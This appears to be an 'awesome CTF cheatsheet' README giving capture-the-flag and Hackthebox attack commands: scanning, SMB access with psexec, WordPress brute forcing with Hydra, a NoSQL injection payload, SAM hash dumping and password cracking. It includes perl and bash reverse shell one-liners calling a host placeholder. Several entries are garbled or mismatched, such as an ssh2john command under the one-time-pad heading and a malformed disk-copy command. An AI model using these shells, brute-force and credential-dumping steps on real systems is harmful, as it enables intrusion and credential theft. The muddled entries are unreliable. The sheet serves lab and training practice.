/awesome-ctf-cheatsheet

CTF Cheatsheet

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Awesome CTF Cheatsheet Awesome

A currated list of all capture the flag tips and strategies to solve Online CTF challenges and Hackthebox Machines.

Contents

System Hacking

Nmap Scanning

To scan for systems and Open Services/Ports, Use Nmap.

> $ namp -sV <HOST_IP>

To scan for Vulnerabilities on system.

> $ nmap --script vuln <HOST_IP>

To scan for all ports, SYN Scan and OS detection.

> $ nmap -sS -T4 -A -p- <HOST_IP>

To scan using inbuilt nmap scripts.

> $ nmap --script ssl-enum-ciphers -p 443  <HOST_IP>

Netdiscover Scanning

To passively discover machines on the network, Use Netdiscover.

> $ netdiscover -i <INTERFACE>
  Currently scanning: 192.168.17.0/16   |   Screen View: Unique Hosts                                                           3 Captured ARP Req/Rep packets, from 8 hosts.   Total size: 480                                                               _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
  -----------------------------------------------------------------------------
  192.168.1.1     11:22:33:44:55:66      1      60  NETGEAR                                                                                           
  192.168.1.2     21:22:33:44:55:66      1      60  Apple, Inc.                                                                                      
  192.168.1.8     41:22:33:44:55:66      1      60  Intel Corporate

Nikto Scanning

To scan for vulnerabilities use Nikto.

> $ nikto -h <HOST_IP>

WebServer is Open

If Port 80 or 443 is open, we can look for robots.txt to check for hidden flags or clues.

To find the Webserver version, Use Curl tool with I flag.

> $ curl -I <SERVER_IP>
HTTP/1.1 200 OK
Date: Mon, 11 May 2020 05:18:21
Server: gws
Last-Modified: Mon, 11 May 2020 05:18:21
Content-Length: 4171
Content-Type: text/html
Connection: Closed

If Port 80 is Closed and its the only port opened on the machine, it can be due to presence of IDS or Port knocking.

  • We can give a timeout and try scanning after sometime to check if the port is still closed.
  • To check if Port is Open without knocking on IDS using TCP Scan instead of SYN Scan.
> $ nmap -p 80 <SERVER_IP> -sT
Starting Nmap 7.80 ( https://nmap.org ) 
Nmap scan report for 10.10.10.168
Host is up (0.038s latency).

PORT     STATE  SERVICE
80/tcp   closed http
Nmap done: 1 IP address (1 host up) scanned in 0.17 seconds

Directory Bursting

To enumerate directories on a webserver, Use wfuzz.

> $ wfuzz -u http://<SERVER_IP>/FUZZ/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 

********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://<SERVER_IP>/FUZZ/

SMB is Open

If SMB has misconfigured anonymous login, Use smbclient to list shares.

> $ smbclient -L \\\\<HOST_IP>

If SMB Ports are open, we can look for anonymous login to mount misconfigured shares.

> $ mkdir /mnt/smb
> $ mount -t cifs //<REMOTE_SMB_IP>/<SHARE> /mnt/smb/
Password for root@//<HOST_IP>/<SHARE>:

If we found Administrator Credentials for SMB, Access the root shell using this method.

> $ /opt/impacket/examples# smbmap -u administrator -p password -H <HOST_IP>
[+] Finding open SMB ports....
[+] User SMB session establishd on <HOST_IP>...
[+] IP: <HOST_IP>:445	Name: <HOST_IP>                                      
	 Disk                                                  	Permissions
	 ----                                                  	-----------
	 ADMIN$                                            	READ, WRITE
	 Backups                                           	READ, WRITE
	 C$                                                	READ, WRITE
	 IPC$                                              	READ ONLY
  
> $ /opt/impacket/examples# python psexec.py administrator@<HOST_IP>
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation

  Password:
  [*] Requesting shares on <HOST_IP>.....
  [*] Found writable share ADMIN$
  [*] Uploading file tJJmcVQN.exe
  [*] Opening SVCManager on <HOST_IP>.....
  [*] Creating service RKAe on <HOST_IP>....
  [*] Starting service RKAe.....
  [!] Press help for extra shell commands
  Microsoft Windows [Version 10.0.14393]
  (c) 2016 Microsoft Corporation. All rights reserved.

  C:\Windows\system32>

To Extract and Mount VHD Drive Files

> $ 7z l <FILENAME>.vhd
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Core(TM) i5-5200U CPU @ 2.20GHz (306D4),ASM,AES-NI)
Scanning the drive for archives:
1 file, 5418299392 bytes (5168 MiB)
Listing archive: <FILENAME>.vhd

> $ guestmount --add <VHD_NAME>.vhd --inspector -ro -v /mnt/vhd

To search for Exploits on Metasploit by Name

> $ searchsploit apache 1.2.4

Wordpress Open

If /wp-login.php is found in the Enumeration scanning, it can be Wordpress site.

To crack the login credentials for Wordpress, Use Hydra. We can use Burpsuite to capture the request parameters

> $ hydra -V -l wordlist.dic -p 123 <HOST_IP> http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid Username

To scan Wordpress site for Vulnerabilities.

> $ gem install wpscan
> $ wpscan --url <HOST_IP> --usernames <USERNAME_FOUND> --passwords wordlist.dic

To get a reverse shell using Admin Upload.

> $ msfconsole
> $ use exploit/unix/webapp/wp_admin_shell_upload

RPC Open

If RPC is open, we can login using rpclient.

> $ rpcclient -U "" <HOST_IP>

Powershell

To bypass execution policy

> $ powershell.exe -exec bypass

NOSql Code Injection

username[$ne]=help&password[$ne]=help&login=login

Web Hacking

Five Stages of Web Hacking

    * Reconnaissance
    * Scanning and Enumeration
    * Gaining Access
    * Maintaining Access
    * Covering Tracks

Enumeration and Reconnaissance Tools

  • Whois, Nslookup, Dnsrecon, Google Fu, Dig - To passively enumerate website.
  • Sublist3r - Subdomains enumeration tool.
  • crt.sh - Certificate enumeration tool.
  • Hunter.io - Email enumeration tool.
  • Nmap, Wappalyzer, Whatweb, Builtwith, Netcat - Fingerprinting tools.
  • HaveIbeenPwned - Useful for breach enumeraton.
  • Use SecurityHeaders to find some misconfigured header information on target website.
  • Use Zap Proxy tool to extract hidden files/directories.
  • Clear Text Passwords Link

To gather information from online sources.

> $ theharvester -d microsoft.com -l 200 -g -b google

Scanning

Ping Sweep a network.

> $ nmap -sn <NETWORK>

SYN Scan with Speed of 4 and port of common 1000 TCP.

> $ nmap -T4 <NETWORK>

All Port scan with All Scanning including OS, Version, Script and Traceroute.

> $ nmap -T4 -A -p- <NETWORK>

To scan for UDP Ports (Dont scan all scans, as it takes lot of time).

> $ nmap -sU -T4 <NETWORK>

Payloads

Non Staged Payload Example.

windows/meterpreter_reverse_tcp

Staged Payload Example.

windows/meterpreter/reverse_tcp

Shells

To use bind shell, we have to follow two steps: 1, Create a Bind Shell 2,Listen for connection.

> $ nc <ATTACKER_IP> <ATTACKET_PORT>` 

> $ nc -lvp <ATTACKER_PORT>

If website is launching perl reverse shell, we can modify it to get better shell using Bash oneliner.

> $ perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"<HOST_IP>:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};' 2>&1

> $ bash -c 'bash -i &> /dev/tcp/<HOST_IP>/9001 0>&1'

BufferOverflow

To generate shellcode quickly, we can use python pwn library.

> $ python -c "import pwn;print(pwn.asm(pwn.shellcraft.linux.sh))

> $ (python -c "import pwn;print(pwn.asm(pwn.shellcraft.linux.sh()))" ;cat) | ./vuln

Gobuster

Normal Enumeration.

> $ gobuster dir -u http://<IP_ADDRESS> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

With Cookie (Useful to directory traversal when cookie is needed).

> $ gobuster dir -u http://<IP_ADDRESS> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -c PHPSESSID=<COOKIE_VALUE>
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://<IP_ADDRESS>
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] Cookies:        <COOKIE_VALUE>
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php
[+] Timeout:        10s
===============================================================
2020/04/19 01:43:01 Starting gobuster
===============================================================
/home.php (Status: 302)
/index.php (Status: 200)

SQLMAP

Redirect the HTTP Request to Burpsuite and we can see the request like this.

POST / HTTP/1.1
Host: <IP_ADDRESS>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://<IP_ADDRESS>/
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
Connection: close
Upgrade-Insecure-Requests: 1

search=help

Now Right click and click on copy to file option.

> $ sqlmap -r search.req --batch --force-ssl
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.4.3#stable}
|_ -| . ["]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 01:25:16 /2020-04-19/

[01:25:16] [INFO] parsing HTTP request from 'search.req'
[01:25:17] [INFO] testing connection to the target URL
[01:25:17] [INFO] checking if the target is protected by some kind of WAF/IPS
[01:25:17] [INFO] testing if the target URL content is stable
[01:25:18] [INFO] target URL content is stable
[01:25:18] [INFO] testing if POST parameter 'search' is dynamic
[01:25:18] [WARNING] POST parameter 'search' does not appear to be dynamic
[01:25:18] [WARNING] heuristic (basic) test shows that POST parameter 'search' might not be injectable
[01:25:19] [INFO] testing for SQL injection on POST parameter 'search'
[01:25:19] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:25:20] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[01:25:21] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[01:25:22] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'

File Hacking

Extract hidden text from PDF Files

If something is hidden on a pdf which we need to find, we can Press Ctrl + A to copy everything on the pdf and paste on notepad. If nothing is found, we can use Inkspace tool to paste the pdf and try to ungroup several times to extract any hidden flag. Else solve using pdf-uncompress tools like qpdf to convert compressed data to redeable format.

Compress File Extraction

If there is PK at the start of the file in the magic bytes, its most probably ZIP File.

To extract data from recursive zip file.

> $ binwalk -Me <FILE_NAME>

Extract hidden strings

If file is having some hidden text, we can use hexeditor or strings commands to locate the flag.

If hidden text has == at the end, it is base64 encoded.

To monitor the appplication calls of a binary.

> $ strace -s -f 12345 -e trace=recv,read <PROGRAM>

To track all Application & library calls of a program.

> $ ltrace ./<PROG_NAME>

Cryptography

Caesar Cipher

If there is word caesar in the question or hint, it can be a substitution cipher.

If you find ! in the cipher text and cipher seems to be within certain range of Letters and appears to be transposition of a plain text, Use this website Ceasar Box to Bruteforce the hidden message.

Vigenere Cipher

To break Vigenere ciphers without knowing the key.

  • Use this website Link - Bruteforce solver.

One Time Pad Cipher

To solve One Time Pad, Use OTP.

> $ /usr/share/john/ssh2john.py id_rsa > output.hash

Forensics

Image File

Try file comamnd on the image to learn more information.

To extract data inside Image files.

> $ zsteg <FILE_NAME>

To check for metadata of the Image files.

> $ exiftool <FILE_NAME>

To search for particular string or flag in an Image file.

> $ strings <FILE_NAME> | grep flag{

To extract data hidden inside an image file protected with password.

> $ steghide extract -sf <FILE_NAME>

Binwalk

Binwalk helps to find data inside the image or sometimes if binwalk reports as zip Archive, we can rename the file to <FILE_NAME>.zip to find interesting data.

> $ binwalk <IMAGE_NAME>

Extract NTFS Filesystem

If there is ntfs file, extract with 7Zip on Windowds. 
If there is a file with alternative data strems, we can use the command `dir /R <FILE_NAME>`.
Then we can this command to extract data inside it `cat <HIDDEN_STREAM> > asdf.<FILE_TYPE>`

To extract ntfs file system on Linux.

> $ sudo mount -o loop <FILENAME.ntfs> mnt

Recover Files from Deleted File Systems

To Recover Files from Deleted File Systems from Remote Hosts.

> $ ssh username@remote_address "sudo dcfldd -if=/dev/sdb | gzip -1 ." | dcfldd of=extract.dd.gz
> $ gunzip -d extract.dd.gz
> $ binwalk -Me extract.dd

Packet Capture

If usb keys are mapped with pcap, we can use this Article to extract usb keys entered: Link

> $ tskark.exe -r <FILE_NAME.pcapng> -Y "usb.transfer_types==1" -e "frame.time.epoch" -e "usb.capdata" -Tfields

JavaScript Deobfuscator

To Deobfuscate JavaScript, use Jsnice.

Password Cracking

JOHN the ripper

If there is JOHN in the title or text or hint, its mostly reference to JOHN the ripper for bruteforce passwords/hashes.

> $ john <HASHES_FILE> --wordlist=/usr/share/wordlists/rockyou.txt

To crack well known hashes, use Link

SAM Hashes

To get System User Hashes, we can follow this method.

> $ /mnt/vhd/Windows/System32/config# cp SAM SYSTEM ~/CTF/
> $ /mnt/vhd/Windows/System32/config# cd ~/CTF/
> ~/CTF# ls
  SAM  SYSTEM  
> ~/CTF# mkdir Backup_dump
> ~/CTF# mv SAM SYSTEM Backup_dump/
> ~/CTF# cd Backup_dump/
> ~/CTF/Backup_dump# ls
  SAM  SYSTEM
> ~/CTF/Backup_dump# impacket-secretsdump -sam SAM -system SYSTEM local
  Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

  [*] Target system bootKey: 0x8b56b2cb5033d8e2e289c26f8939a25f
  [*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
  Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
  Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
  User:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::
  [*] Cleaning up...

Linux User Hashes

If we able to extract /etc/passwd and /etc/shadow file we can use unshadow

> $ unshadow <PASSWD> <SHADOW>

Hashcat

To crack the password, we can use hashcat here 500 is for format $1$ Replace it accordingly.

> $ hashcat -m 500 -a 0 -o cracked.txt hashes.txt /usr/share/wordlists/rockyou.txt --force

7z Password Cracking

To extract 7z password, Use tool 7z2john

SSH Password Cracking

To crack encrypted ssh key use ssh2john tool.

Privilige Escalation

Standard Scripts for Enumeration

Reconnoitre

Security tool for multithreaded information gathering and service enumeration whilst building directory structures to store results, along with writing out recommendations for further testing.

> $ reconnoitre -t 10.10.10.37 -o `pwd` --services`